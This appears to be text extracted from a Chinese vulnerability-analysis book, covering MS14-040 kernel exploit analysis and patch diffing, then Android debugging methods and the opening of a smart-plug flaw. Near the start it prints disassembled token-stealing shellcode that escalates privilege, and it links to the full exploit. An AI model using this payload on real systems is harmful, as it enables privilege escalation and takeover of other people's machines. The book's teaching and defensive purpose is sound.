    {"text": "kd> k ChildEBP RetAddr WARNING: Frame IP not in any known module. Following frames may be wrong. 8adedcc8 83f0b8ba 0x2b1020 8adedcf0 83f4cfab nt!KeQueryIntervalProfile+0x29 8adedd24 83c8642a nt!NtQueryIntervalProfile +0x70 8adedd24 774564f4 nt!KiFastCallEntry+0x12a 0145fb50 75981174 0x774564f4 0145fb5c 7746b3f5 0x75981174 0145fb9c 7746b3c8 0x7746b3f5 0145fbb4 00000000 0x7746b3c8 kd> uf 2b1020 // 执行 shellcode 代码 002b1020 55 push ebp 002b1021 8bec mov ebp,esp 002b1023 83ec08 sub esp,8 002b1026 8b0d98da2b00 mov ecx,dword ptr ds:[2BDA98h] 002b102c 8d45fc lea eax,[ebp-4] 002b102f 50 push eax 第9章 内核漏洞分析 459 002b1030 51 push ecx 002b1031 ff158cda2b00 call dword ptr ds:[2BDA8Ch] ds:0023:002bda8c={nt!PsLookupProcessByProcessId (83eb3018)} 002b1037 a19cda2b00 mov eax,dword ptr ds:[002BDA9Ch] 002b103c 8d55f8 lea edx,[ebp-8] 002b103f 52 push edx 002b1040 50 push eax 002b1041 ff158cda2b00 call dword ptr ds:[2BDA8Ch] ds:0023:002bda8c={nt!PsLookupProcessByProcessId (83eb3018)} 002b1047 8b4df8 mov ecx,dword ptr [ebp-8] 002b104a 8b91f8000000 mov edx,dword ptr [ecx+0F8h] // EPROCESS+0xF8 = 进程 Token =================================================================== kd> dt _EPROCESS ebp-8 nt!_EPROCESS +0x000 Pcb : _KPROCESS +0x098 ProcessLock : _EX_PUSH_LOCK ……省略部分内容…… +0x0ec DebugPort : 0x00000023 +0x0f0 ExceptionPortData : (null) +0x0f0 ExceptionPortValue : 0 +0x0f0 ExceptionPortState : 0y000 +0x0f4 ObjectTable : (null) +0x0f8 Token : _EX_FAST_REF ……省略部分内容…… =================================================================== 002b1050 8b45fc mov eax,dword ptr [ebp-4] 002b1053 8990f8000000 mov dword ptr [eax+0F8h],edx // 修改 token 值实现提权 002b1059 8b4dfc mov ecx,dword ptr [ebp-4] 002b105c 8b81f4000000 mov eax,dword ptr [ecx+0F4h] 002b1062 8b15a0da2b00 mov edx,dword ptr ds:[2BDAA0h] 002b1068 8b08 mov ecx,dword ptr [eax] 002b106a 83e2fc and edx,0FFFFFFFCh 002b106d c7045100000000 mov dword ptr [ecx+edx*2],0 002b1074 ff4830 dec dword ptr [eax+30h] 002b1077 a194da2b00 mov eax,dword ptr ds:[002BDA94h] 002b107c 8b1590da2b00 mov edx,dword ptr ds:[2BDA90h] 002b1082 894204 mov dword ptr [edx+4],eax 002b1085 33c0 xor eax,eax 002b1087 8be5 mov esp,ebp 002b1089 5d pop ebp 002b108a c21000 ret 10h 460 漏洞战争：软件漏洞分析精要 运行效果如图9-44所示，关于完整的漏洞利用代码，Vsbat已将其公布在看雪论坛上，具体可访 问以下链接获取：http://bbs.pediy.com/showthread.php?p=1331045。"},
    {"text": "图9-44 利用漏洞提权成功 9.7.4 补丁分析 如图9-45所示，由于微软并未提供本节漏洞的Windows 7补丁，所以只能通过升级到Windows 7 SP1系统版本，再打相应的漏洞补丁。 读者可从微软官方站点（http://www.microsoft.com/zh-cn/ download/confirmation.aspx?id=5842）下载相应的SP1升级包，然后再从官网下载MS14-040的Windows 7 SP1 漏洞补丁（http://www.microsoft.com/en-us/download/details.aspx?id=43429）。 图9-45 微软未提供支持Windows 7的漏洞补丁 用IDA加载补丁后的afd.sys，然后定位到漏洞函数AfdReturnTpInfo进行分析。"},
    {"text": "因此补丁在第一次调用完 第9章 内核漏洞分析 461 IoFreeMdl后，将TpInfoElementCount清零，如图9-47所示，使得它不会再次调用IoFreeMdl，从而避 免造成双重释放漏洞。 图9-46 只有当TpInfoElementCount>0时，才会调用到IoFreeMdl函数 462 漏洞战争：软件漏洞分析精要 图9-47 将TpInfoElementCount清零 9.8 本章总结 本章主要针对Windows内核漏洞原理进行分析，并介绍各种漏洞分析技巧，也专门挑选几个不 同类型的经典内核漏洞案例进行剖析，对其中颇具艺术的漏洞利用技巧进行深入探究，旨在帮助广 大读者理解Windows平台上的各类常见内核漏洞原理，以及掌握一些内核漏洞的常用攻击手法。"},
    {"text": "正 所谓“未知攻，焉知防”，只有广大安全人士理解漏洞及攻击手法，才能制定出更加完善的漏洞检 测与拦截规则，帮助保护用户的电脑安全。 而对于开发者，掌握几类漏洞的常见修复方法，也可以 帮助自己快速制定漏洞修复方案，尽快推出补丁，将漏洞造成的损失降到最低。 内核漏洞的调试相对普通应用的调试会更麻烦，而且一蓝屏，就得重启系统从头再来，所费时 间也肯定更多。 结合一定的驱动开发经验，在调试分析时将会更加顺手，借助开发功底可以帮助你 更快地找出漏洞根源。 所以，读者在学习Windows内核漏洞之前，不妨先学学Windows驱动开发，相 信会起到事半功倍的作用。"},
    {"text": "第10章 Android平台漏洞分析 463 第 10 章 Android 平台漏洞分析 10.1 Android平台漏洞简史 随着移动互联网时代的来临，很多移动终端的安全问题已经逐渐暴露出来，而其中尤以Android 平台最为显著。 正是由于Android的用户量占移动终端总用户量的70%以上，而且不仅用于手机上， 平板电脑、智能穿戴、电视、相机及其他智能设备上都使用到Android系统，因此本章专门用于讲解 Android平台上的漏洞分析技巧。"},
    {"text": "2008年9月发布Android 1.0以来，至今Android已有7年历史，笔者在编写本章时，Android的最新 版本是5.1.1，历年的Android版本、名称及发布时间如图10-1所示。"},
    {"text": "图10-1 Android发展史 国外对于Android漏洞的研究相对较早，在CVE漏洞库上最早关于Android漏洞的记录是2008年3 月的CVE-2008-0985 Android SDK 缓冲区溢出漏洞（如图10-2所示），虽然Android系统首发于2008 年9月，但是Android SDK在2007年11月就已由Google对外发布。 国内对Android平台漏洞的公开讨论最早约在2010年，当时讨论的人比较少，且更偏向于病毒分 析。 到2011年讨论的人才逐渐多起来，笔者也是从那时开始研究Android平台漏洞的，在看雪论坛 （http://bbs.pediy.com）上的一些Android漏洞精华帖也是始于2011年。 漏洞战争：软件漏洞分析精要 464 漏洞战争：软件漏洞分析精要 图10-2 第一个被记录的Android漏洞 2011年，笔者开始针对Android应用漏洞进行审计，发现超过一半的主流Android应用都存在漏洞。 当时Android漏洞较少被关注，Android病毒是当时的主要安全挑战，经常可以看到一些Android病毒 分析的文章，特别是安天博客上的文章，当时基本成为第一手资料。"},
    {"text": "后来笔者编写出Android应用自动化审计工具DroidAppAuditor，主要用Perl语言编写，支持 Android模拟器和实体机，可自动安装APK文件并运行软件，然后实现动态自动化检测，并图文并茂 地输出分析报告，如图10-3所示。"},
    {"text": "当时审计点较少，主要聚焦在敏感信息、组件权限审计上，后来 逐步增加审计规则，并将其应用在腾讯的“金刚”审计系统上（详见：http://security.tencent.com/ index.php/opensource/detail/13）。"},
    {"text": "图10-3 DroidAppAduitor自动化审计报告 第10章 Android平台漏洞分析 465 图10-3 DroidAppAduitor自动化审计报告（续） 除 了 Android 第三方应用漏 洞外，系统自身也存在不少漏洞， 早期主要是一些Linux内核提权 漏洞（如图10-4所示）备受关注， 因此可以直接用来Root手机，扩 展手机应用功能，但同时也会降 低手机的安全性。 从2013年开始，Android平台 上许多通用漏洞被逐渐曝光，特 别是WebView漏洞，影响大部分 Android应用的安全，导致代码执 行、隐私窃取等危害。 此前出过 许多著名漏洞，例如Android签名 图10-4 Android 本地提权漏洞 466 漏洞战争：软件漏洞分析精要 漏洞、Android WebView addJavascriptInterface漏洞、Android设备管理器漏洞、Android WebView UXSS、Android FakeID证书验证漏洞等，如图10-5所示。 图10-5 曾经曝光过的部分Android漏洞 10.2 Android平台漏洞分类 如图10-6所示，根据Android系统架构的分层情况可以将Android平台上的漏洞分为如下几种。 图10-6 Android系统构架图 ● 应用层漏洞：包括系统自带应用及第三方应用。 第10章 Android平台漏洞分析 467 ● 框架层漏洞：即应用程序所依赖的API框架漏洞。"},
    {"text": "10.3 常见的漏洞分析方法 关于Android平台上的一些逆向方法，在《Android软件安全与逆向分析》一书中已有介绍，大家 可以作为额外参考，但本节主要介绍的是该书未提到的分析方法。 10.3.1 APK静态分析 Android APK的逆向分析工具很多，比如ApkTool、baksmali、JD-GUI等，但它们都是单向功能 相互依赖使用的，笔者只推荐一款APK逆向工具—JEB，如图10-7所示。 JEB是一款用Java写的综 合逆向工具，支持跨平台，而且集合各项Android逆向功能，完全可代表前面提到的各款工具。 使用 JEB加载APK即可实现反编译，直接查看AndroidManifest.xml、smali及Java反编译代码（查看smali 代码时按Tab键可自动进行Java反编译），还支持交叉索引、字符串搜索、重命名功能等，新版JEB 中又增加了Dex、Office、PDF等文件格式的解析。"},
    {"text": "图10-7 JEB反编译器 468 漏洞战争：软件漏洞分析精要 10.3.2 smali动态调试 调试smali主要有两种方式，一种是使用IDA，另一种是使用Android编译器，比如Android Studio、 Eclipse等（补充说明：在本书出版前，JEB最新版已经支持smali动态调试），此处主要介绍如何使 用Android Studio，毕竟这是Google官方出品的工具，再结合Smalidea插件可以更方便地进行smali调 试，这也是笔者常用的调试方法。 步骤一：先下载smalidea插件，下载地址https://bitbucket.org/JesusFreke/smali/downloads/smalidea-v0.02.zip，然后在Android Studio中，选择“Settings”（旧版的是“Perferences”）→“Plugins”→ “Install plugin from disk…”选项，在打开的窗口中选择已下载的smalida-v0.02.zip，确认后可直接安 装，如图10-8所示。"},
    {"text": "图10-8 安装smalidea插件 第10章 Android平台漏洞分析 469 图10-9 选择重启Android Studio 步 骤 二 ： 使 用 baksmali （ 下 载 地 址 ： https://bitbucket.org/JesusFreke/smali/downloads/baksmali-2.0.6.jar）或者ApkTool工具（下载地址：https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_ 2.0.1.jar）反编译需要调试的APK包，如图10-10所示。 图10-10 使用baksmali反编译APK包 步骤三：用Android Studio导入前面生成的smali目录（如图10-11所示，由于测试时已生成过alipay工 程，因此alipay目录显示成Android Studio工程图标），单击“OK”按钮后，按默认设置操作，成功导入 470 漏洞战争：软件漏洞分析精要 工程后鼠标右键单击src目录，在弹出的快捷菜单中选择“Mark Directory As”→“Test Sources Root”选 项，如图10-12所示。"},
    {"text": "图10-11 导入smali目录 图10-12 设置源目录 第10章 Android平台漏洞分析 471 图10-13 设置SDK版本 步骤四：开启应用调试选项，但很多APK都设置android:debugable=“false”，经常需要改配置重 打包。"},
    {"text": "为了一劳永逸，笔者编写了专门开启应用调试选项的Xposed模块—BDOpener（下载地址： http://security.tencent.com/index.php/opensource/detail/17），如图10-14所示。"},
    {"text": "图10-14 BDOpener输出日志 步骤五：在手机上安装待调试的程序，然后在开发者选项里设置“选择待调试的应用程序”选 项，勾选“等待调试程序”选项，如图10-15所示，之后打开调试程序，如图10-16所示，待调试器加 载它。 472 漏洞战争：软件漏洞分析精要 图10-15 设置待调试程序 图10-16 等待应用被调试 步骤六：在Android Studio 中配置远程调试（Run→Edit Configurations），单击“+”按钮，选 中“Remote”添加配置（如图10-17所示），更改Debug端口为8700（默认的调试端口，如图10-18所 示），并指定源文件目录，如图10-19所示。 图10-17 添加远程调试配置 图10-18 从DDMS中获取调试端口 第10章 Android平台漏洞分析 473 图10-19 设置配置名称、调试端口及源目录 步骤七：打开任意smali文件，在代码行前面单击即可设置断点，它会在前面显示红点标记，再 点下可取消断点。 将手机通过USB连接电脑后，单击“Run”→“Debug 'debug'”即可开始远程调试， 此时图10-16所示的提示会消失，然后启动应用，直到最后被断下，如图10-20所示可以看到此时的栈 回溯、变量值等信息。 关于smali的调试方法，还可参考阿里聚安全发表的文章《APK无源码调试》，链接http://bbs. pediy.com/showthread.php?t=195660，里面提到多个smali方法，包括IDA、Android Studio、Idea及Eclipse 等，有兴趣的读者可以看下。 474 漏洞战争：软件漏洞分析精要 图10-20 smali动态调试 10.3.3 so库动态调试 在APK包里，经常在lib目录下可以见到一些后缀为so的动态链接库，它们一般都是用C/C++开发 的，属于ELF格式的linux程序。"},
    {"text": "步骤一：通过以下命令启动待调试的程序，但使用前需要知道应用的主Activity，可通过逆向 AndroidManifest.xml获取，相对比较麻烦，最好的方式是使用图10-15所示的方法。 am start -D -n 包名/主 Activity 类名 步骤二：执行以下命令将IDA目录下的./dbgsrc/android_server复制到Android系统中，然后以Root 权限启动它，等转发端口完成后，再用IDA附加需要调试的进程。 adb push android_server /data/local/tmp/android_server adb shell chmod +x /data/local/tmp/android_server cd /data/local/tmp/ su && ./android_server adb forward tcp:23946 tcp:23946 第10章 Android平台漏洞分析 475 步骤三：通过DDMS获取相应进程的调试端口号（默认大多为8700端口，如图10-18所示），然 后执行以下命令： jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700 步骤四：连接成功后，在IDA上按F9键运行程序后，如图10-16所示的“Waiting For Debugger\" 提示会自动消失，接下来就可以设置断点，比如JNI_Onload函数，可在IDA上按“Ctrl+S”组合键找 到对应so库的基址，然后加上JNI_Onload的文件偏移量（用IDA打开so库文件，找到JNI_Onload函数 地址再减去IDA加载基址后得到），即可找到JNI_Onload函数的内存地址，然后按F9键运行后即可断 下，如图10-21所示是笔者在调试国内某款知名Android加固壳时的截图。"},
    {"text": "图10-21 动态调试Android链接库 10.3.4 补丁源码比对 由于Android系统的开源性，允许 大家直接在线或者下载源码进行学习 和研究，这也为漏洞研究者提供了便 利，无论是在挖掘漏洞还是在分析漏洞 上都有帮助。"},
    {"text": "但是Google并没有直接提 供源码压缩包进行下载，而是通过repo 命令下载，下载单个版本的系统文件大 小达71GB（如图10-22所示），且速度 很慢，更为不幸的是，在国内是访问不 了Google等相关站点的，包括Android 源码官方站点，笔者用VPN下载一周才 完成，有条件的读者可以直接挂国外服 务器下载，一般几小时搞定。"},
    {"text": "图10-22 Android系统源码 网上有很多Android源码在线阅读 的站点，此处笔者推荐“Open Source Cross Reference”网站，链接为http://osxr.org/android/source/， 476 漏洞战争：软件漏洞分析精要 它支持关键字搜索及交叉参考（如图10-23所示），便于提高分析效率。 如果是在Windows平台上的 用户，也可以在下载Android源码后用SourceInsight分析，关于该软件的用法在7.6.2节已介绍过。 图10-23 Android源码交叉参考站点 如果要分析Android系统漏洞源码，其实还有个更便捷的方法，那就是直接分析官网的BUG列表 （https://code.google.com/p/android/issues/list），可以找到修复前后的代码比对情况。 比如著名的 zergRush提权漏洞，在Android Buglist上可以搜索到关于它的漏洞描述，以及补丁源码对比，如图10-24 和图10-25所示。 图10-24 zergRush漏洞 第10章 Android平台漏洞分析 477 图10-25 补丁源码比对 找到漏洞源码的位置，再结合图10-21介绍的站点，可以查看到完整的漏洞代码，然后做进一步 的详细分析，通过这种方式可以更快速地定位漏洞成因。"},
    {"text": "（1）下载Android源码（笔者挂VPN下载一周，大小达70GB）。 $ mkdir ~/bin $ PATH=~/bin:$PATH $ curl https://storage.googleapis.com/git-repo-downloads/repo > ~/bin/repo $ chmod a+x ~/bin/repo $ repo init -u https://android.googlesource.com/platform/manifest -b android-4.4_r1 $ repo sync （2）下载完成后，复制./build/buildspec.mk.default到Android源码根目录，重命名为buildspec.mk， 并编辑添加以下内容，以确保WebKit是以Debug模式创建的： DEBUG_MODULE_libwebcore:=true DEBUG_MODULE_libxml2:=true TARGET_CUSTOM_DEBUG_CFLAGS:=-O0 -mlong-calls 478 漏洞战争：软件漏洞分析精要 ADDITIONAL_BUILD_PROPERTIES += debug.db.uid=100000 （3）创建不区分大小写的磁盘文件（Android要求在不区分大小写的文件系统下编译，而Mac 是区分大小写的，若用其他系统可能就不需要此步骤）： hdiutil create -type SPARSE -fs 'Case-sensitive Journaled HFS+' -size 75g ~/android.dmg （4）修改~/.bash_profile，添加以下内容，以后就可以直接使用mountAndroid与umountAndroid 挂载/卸载Android磁盘文件了： # mount the android file image function mountAndroid { hdiutil attach ~/android.dmg.sparseimage -mountpoint /Volumes/android; } # unmount the android file image function umountAndroid() { hdiutil detach /Volumes/android; } 挂载创建的磁盘，然后将前面下载的源码复制到里面： $ mountAndroid $ cp Android-4.4_r1 /Volumes/android/ & cd /Volumes/android/Android-4.4_r1 （5）执行以下命令设置环境变量，并开始编译： $ source ./build/envsetup.sh $ lunch full-eng $ make -j2 编译成功后输出以下内容： + ENABLE_SPARSE_IMAGE= + '[' out/target/product/generic/system = -s ']' + '[' 6 -ne 5 -a 6 -ne 6 ']' + SRC_DIR=out/target/product/generic/system + '[' '!' -d out/target/product/generic/system ']' + OUTPUT_FILE=out/target/product/generic/obj/PACKAGING/systemimage_intermediates/system.img + EXT_VARIANT=ext4 + MOUNT_POINT=system + SIZE=576716800 + FC=out/target/product/generic/root/file_contexts + case $EXT_VARIANT in + '[' -z system ']' + '[' -z 576716800 ']' + '[' -n out/target/product/generic/root/file_contexts ']' + FCOPT='-S out/target/product/generic/root/file_contexts' + MAKE_EXT4FS_CMD='make_ext4fs -S out/target/product/generic/root/file_contexts -l 576716800 第10章 Android平台漏洞分析 479 -a system out/target/product/generic/obj/PACKAGING/systemimage_intermediates/system.img out/target/product/generic/system' + echo make_ext4fs -S out/target/product/generic/root/file_contexts -l 576716800 -a system out/target/product/generic/obj/PACKAGING/systemimage_intermediates/system.img out/target/product/generic/system make_ext4fs -S out/target/product/generic/root/file_contexts -l 576716800 -a system out/target/product/generic/obj/PACKAGING/systemimage_intermediates/system.img out/target/product/generic/system + make_ext4fs -S out/target/product/generic/root/file_contexts -l 576716800 -a system out/target/product/generic/obj/PACKAGING/systemimage_intermediates/system.img out/target/product/generic/system Creating filesystem with parameters: Size: 576716800 Block size: 4096 Blocks per group: 32768 Inodes per group: 7040 Inode size: 256 Journal blocks: 2200 Label: Blocks: 140800 Block groups: 5 Reserved block group size: 39 Created filesystem with 1162/35200 inodes and 68154/140800 blocks + '[' 0 -ne 0 ']' Install system fs image: out/target/product/generic/system.img out/target/product/generic/system.img+ maxsize=588791808 blocksize=2112 total=576716800 reserve=5947392 编译成功后，整个目录大小达到86GB，如图10-26所示。"},
    {"text": "480 漏洞战争：软件漏洞分析精要 图10-26 Android源码编译成功 （5）启动编译后的模拟器，如图10-27所示。 riusksk@MacBook:/Volumes/android/android-4.4_r1$ echo $ANDROID_PRODUCT_OUT /Volumes/android/android-4.4_r1/out/target/product/generic riusksk@MacBook:/Volumes/android/android-4.4_r1$ emulator 第10章 Android平台漏洞分析 481 图10-27 成功编译好的模拟器 在编译过程中可能会遇到以下错误。"},
    {"text": "（1）“SyntaxError: Unable to find any JNI methods for org/chromium/ui/Clipboard.” 【解决方法】主要是由于Mac上的cpp命令没有-fpreprocessed参数导致的错误，按图10-28所示修 改./base/android/jni_generator/jni_generator.py代码即可，或者直接删除里面的“-fpreprocessed”参数。"},
    {"text": "图10-28 删除里面的“-fpreprocessed”参数 482 漏洞战争：软件漏洞分析精要 （2）提示缺少Mac OS X 10.x.sdk包，或者提示 lcrt1.10.6.o 链接库不存在：“ldlibrary: notlibrary found notfor found-lcrt1.10.6.o”。 【解决方法】从https://github.com/phracker/MacOSX-SDKs下载到相应版本的SDK包，推荐10.6 版本，然后将其放到以下目录： riusksk@MacBook:/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Develo per/SDKs$ sudo svn checkout https://github.com/JuliaEichler/Mac_OSX_SDKs/trunk/MacOSX10.6.sdk （3）提示空间不足：“fatal error: /opt/local/bin/ranlib: can't write to output file (No space left on device)”。"},
    {"text": "【解决方法】执行以下命令扩充磁盘文件： unmountAndroid hdiutil resize -size <new-size-you-want>g ~/android.dmg.sparseimage 下面正式开始进行Android Java源码的调试。"},
    {"text": "（1）将./development/ide/eclipse/.classpath 复制到Android源码根目录，可以根据需要删除或注 释掉无须加载的目录，比如源码中的example与apps目录源码示例，可以避免一些无必要的错误。 <!-- <classpathentry kind=\"src\" path=\"packages/apps/Bluetooth/src\"/> <classpathentry kind=\"src\" path=\"packages/apps/Browser/src\"/> <classpathentry kind=\"src\" path=\"packages/apps/Calendar/src\"/> <classpathentry kind=\"src\" path=\"packages/apps/Calculator/src\"/> …… <classpathentry kind=\"src\" path=\"packages/apps/VoiceDialer/src\"/> --> …… <!-- <classpathentry kind=\"src\" path=\"development/samples/ApiDemos/src\"/> <classpathentry kind=\"src\" path=\"development/samples/ApiDemos/tests/src\"/> …… <classpathentry kind=\"src\" path=\"development/samples/HelloActivity/src\"/> --> （2）打开Eclipse，选择“File”→“New”→“Java Project”选项，然后设置项目名，并将Location 设置为Android源码根目录，加载过程可能会卡一会，等待完成即可。 然后选择“Run”→“Debug Configuration”选项，双击“Remote Java Application”选项然后设置名称与端口，system_process端 口默认为8600，如图10-29所示。 第10章 Android平台漏洞分析 483 图10-29 调试配置 （3）导入项目可能会遇到一堆错误（如图10-30所示），主要还是缺少编译后的链接库导致的， 一般是.classpath载入不完整导致的。 图10-30 错误提示 可以在build path中添加链接库，可根据错误逐步添加，如果不确定是哪个，就批量添加源码编 译后生成的out目录里面的jarlib.jar或者classes.jar，如图10-31和图10-32所示。 484 漏洞战争：软件漏洞分析精要 图10-31 配置编译路径 图10-32 添加jar包 解决各类错误之后，如图10-33所示，可能还会有很多警告，这里笔者是直接删除掉提示，所以 Problems窗口都是空的。 （4）启动模拟器后就可以进行Java源码调试了，比如笔者先在ActivityStack.java上下断点（行号 前单击下即可设置断点），单击开始调试后即可断下并支持单步调试，相应的变量值也会实时地显 示在窗口上，如图10-34所示。 第10章 Android平台漏洞分析 485 图10-33 源码导入成功 图10-34 Android Java源码调试 486 漏洞战争：软件漏洞分析精要 此处，在Eclipse里只能调试Android的Java源码，而Android C/C++源码调试需要使用到其他工具， 具体见下一节。"},
    {"text": "10.3.6 系统C/C++源码调试 （1）启动模拟器，一定要先执行evnsetup.sh设置环境变量才能执行后面的命令： riusksk@MacBook:/Volumes/android/android-4.4_r1$ source ./build/envsetup.sh riusksk@MacBook:/Volumes/android/android-4.4_r1$ lunch 1 riusksk@MacBook:/Volumes/android/android-4.4_r1$ emulator & （2）开启gdbserver，附加浏览器进程： riusksk@MacBook:/Volumes/android/android-4.4_r1$ adb forward tcp:5039 tcp:5039 riusksk@MacBook:/Volumes/android/android-4.4_r1$ adb shell ps |grep browser u0_a18 1104 55 216516 17728 ffffffff b6f3a41c S com.android.browser riusksk@MacBook:/Volumes/android/android-4.4_r1$ adb shell gdbserver :5039 --attach 1104 Attached; pid = 1137 Listening on port 5039 （3）开启gdbclient，设置断点进行源码调试，如图10-35所示： riusksk@MacBook:/Volumes/android/android-4.4_r1$ gdbclient GNU gdb (GDB) 7.6 Copyright (C) 2013 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \"show copying\" and \"show warranty\" for details. This GDB was configured as \"--host=x86_64-apple-darwin --target=arm-linux-android\". For bug reporting instructions, please see: <http://source.android.com/source/report-bugs.html>... Reading symbols from /Volumes/android/android-4.4_r1/out/target/product/generic/symbols/ system/bin/app_process...done. …… gdb$ b user_agent.cc:130 Breakpoint 1 at 0xabebac96: user_agent.cc:130. (2 locations) gdb$ disass 0xabebac96 Dump of assembler code for function base::LazyInstance<webkit_glue::{anonymous}::UserAgentState, base::DefaultLazyInstanceTraits<webkit_glue::{anonymous}::UserAgentState> >::Pointer(vo id): 0xabebac94 <+0>: push {r0, r1, r4, r5, r6, lr} 0xabebac96 <+2>: ldr r4, [pc, #88] ; (0xabebacf0 <base::LazyInstance<webkit_glue:: 第10章 Android平台漏洞分析 487 {anonymous}::UserAgentState, base::DefaultLazyInstanceTraits<webkit_glue::{anonymous}::UserAgentState> >::Pointer(vo id)+92>) 0xabebac98 <+4>: ldr r3, [pc, #80] ; (0xabebacec <base::LazyInstance<webkit_glue::{anonymous}:: UserAgentState, base::DefaultLazyInstanceTraits<webkit_glue::{anonymous}::UserAgentState> >::Pointer(vo id)+88>) 0xabebac9a <+6>: add r4, pc …… gdb$ list user_agent.cc:130 125 void SetUserAgent(const std::string& user_agent, bool overriding) { 126 g_user_agent.Get().Set(user_agent, overriding); 127 } 128 129 const std::string& GetUserAgent(const GURL& url) { 130 return g_user_agent.Get().Get(url); 131 } 132 133 } // namespace webkit_glue 图10-35 Android WebKit源码调试 488 漏洞战争：软件漏洞分析精要 补充：倘若编译出来的系统浏览器运行时崩溃，则可以下载 WebView Demo 程序用于调试（链 接：https://raw.githubusercontent.com/alexyan/android-webview-demo/master/out/production/WebView/ WebView.apk） ，它默认调用的是系统的 WebKit，一样可以用于调试 Android WebKit 源码，此 类 Demo 网上很多，读者可自行下载。 10.3.7 Android内核源码调试 下面的方法是基于编译完Android系统源码之后，再另外下载Linux内核进行编译调试的。 （1）下载Android内核源码goldfish： riusksk@MacBook /Volumes/Macintosh/Users/riusksk/Android-Security/android_source/kernel $ git clone https://android.googlesource.com/kernel/goldfish.git 正克隆到 'goldfish'... remote: Sending approximately 663.30 MiB ... remote: Counting objects: 70115, done remote: Finding sources: 100% (23/23) remote: Total 3094777 (delta 2591320), reused 3094766 (delta 2591320) 接收对象中: 100% (3094777/3094777), 663.29 MiB | 695.00 KiB/s, 完成。"},
    {"text": "riusksk@MacBook /Volumes/Macintosh/Users/riusksk/Android-Security/android_source/kernel $ cd goldfish 查看支持哪些 Linux 内核版本的下载： riusksk@MacBook /Volumes/Macintosh/Users/riusksk/Android-Security/android_source/kernel/goldfish $ git branch -a * master remotes/origin/HEAD -> origin/master remotes/origin/android-3.10 remotes/origin/android-3.4 remotes/origin/android-goldfish-2.6.29 remotes/origin/android-goldfish-3.10 remotes/origin/android-goldfish-3.10-m-dev remotes/origin/android-goldfish-3.4 remotes/origin/linux-goldfish-3.0-wip remotes/origin/master 第10章 Android平台漏洞分析 489 选择 3.4 内核版本进行下载： riusksk@MacBook /Volumes/Macintosh/Users/riusksk/Android-Security/android_source/kernel/goldfish $ git checkout -t remotes/origin/android-goldfish-3.4 -b goldfish3.4 正在检出文件: 100% (38915/38915), 完成。"},
    {"text": "切换到一个新分支 'goldfish3.4' （2）确保Android NDK已添加到环境变量，以便可以直接使用交叉编译器 arm-linux-androideabi- gcc： export PATH=$PATH:ANDROID_NDK_HOME/toolchains/arm-linux-androideabi-4.8/prebuilt/darwin-x86_64/bin （3）设置环境变量，开始编译相关配置文件： export ARCH=arm export SUBARCH=arm export CROSS_COMPILE=arm-eabi- make goldfish_armv7_defconfig （4）增加内核配置选项，修改goldfish/.config配置文件，确保以下几项配置已开启： CONFIG_HIGHMEM=y #允许设置模拟器内存 CONFIG_DEBUG_INFO=y #显示 vmlinux 符号 CONFIG_DEBUG_KERNEL=y #开启内核调试 CONFIG_KGDB=y #开启 kgdb （5）开始编译内核，10分钟左右可编译完成： riusksk@MacBook /Volumes/Macintosh/Users/riusksk/Android-Security/android_source/kernel/ goldfish $ make …… Kernel: arch/arm/boot/zImage is ready 在Mac系统上可能会遇到以下错误： scripts/mod/mk_elfconfig.c:4:10: fatal error: 'elf.h' file not found #include <elf.h> ^ 1 error generated. make[2]: *** [scripts/mod/mk_elfconfig] Error 1 make[1]: *** [scripts/mod] Error 2 make: *** [scripts] Error 2 可以采用以下方式解决： 490 漏洞战争：软件漏洞分析精要 sudo cp /Volumes/android/android-4.4_r1/external/elfutils/libelf/elf.h /usr/include/elf.h （6）用编译好的内核启动模拟器（可以添加-no-window选项以不显示模拟器），如图10-36所示， 并开启GDB调试。 emulator -verbose -show-kernel -kernel ./arch/arm/boot/zImage -memory 1024 -qemu -s -S 图10-36 用已编译的内核启动Android模拟器 （7）开启另一个终端连接默认监听端口1234，它会自动加载符号，然后就可以用GDB进行内核 源码调试了。 riusksk@MacBook /Volumes/Macintosh/Users/riusksk/Android-Security/android_source/kernel/goldfish ‹› ‹goldfish3.4*› $ arm-linux-androideabi-gdb ./vmlinux GNU gdb (GDB) 7.3.1-gg2 Copyright (C) 2011 Free Software Foundation, Inc. 第10章 Android平台漏洞分析 491 License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \"show copying\" and \"show warranty\" for details. This GDB was configured as \"--host=x86_64-apple-darwin --target=arm-linux-android\". For bug reporting instructions, please see: <http://source.android.com/source/report-bugs.html>... Reading symbols from /Volumes/Macintosh/Users/riusksk/Android-Security/android_source/kernel/goldfish/vmlinu x...done. gdb$ target remote :1234 Error while running hook_stop: No symbol \"disassembly\" in current context. 0x00000000 in ?? () gdb$ c ^C Program received signal SIGINT, Interrupt. Error while running hook_stop: No symbol \"disassembly\" in current context. __delay () at arch/arm/lib/delay.S:48 48 subs r0, r0, #1 gdb$ list 43 * Oh, if only we had a cycle counter... 44 */ 45 46 @ Delay routine 47 ENTRY(__delay) 48 subs r0, r0, #1 49 #if 0 50 movls pc, lr 51 subs r0, r0, #1 52 movls pc, lr gdb$ disass Dump of assembler code for function __delay: => 0xc01d0d24 <+0>: subs r0, r0, #1 0xc01d0d28 <+4>: bhi 0xc01d0d24 <__delay> 0xc01d0d2c <+8>: mov pc, lr End of assembler dump. 到这里，我们可以开始进行Android内核源码的调试之旅了。"},
    {"text": "492 漏洞战争：软件漏洞分析精要 10.4 智能插座漏洞分析 10.4.1 漏洞描述 在GeekPwn 2014智能硬件破解大赛上，笔者正是拿本节发现的其智能插座漏洞参赛的，如图 10-37所示。 这款智能插座存在多个漏洞，其中一个可以远程控制智能插座的开关，由于其他通信使 用的加密密钥被明文存储在APK包中，导致可通过逆向手段获取，然后用它对操作命令进行加密后 发送给服务端实现控制，返回的响应包也同样可以用前面获取的密钥解密出来。"},
    {"text": "参加比赛前准备了 一个灯泡矩阵，就是在智能插座上放置灯泡，然后开发一个Android应用控制灯的亮灭，从而实现“走 马观灯”的小游戏，感觉比较有极客之感。"},
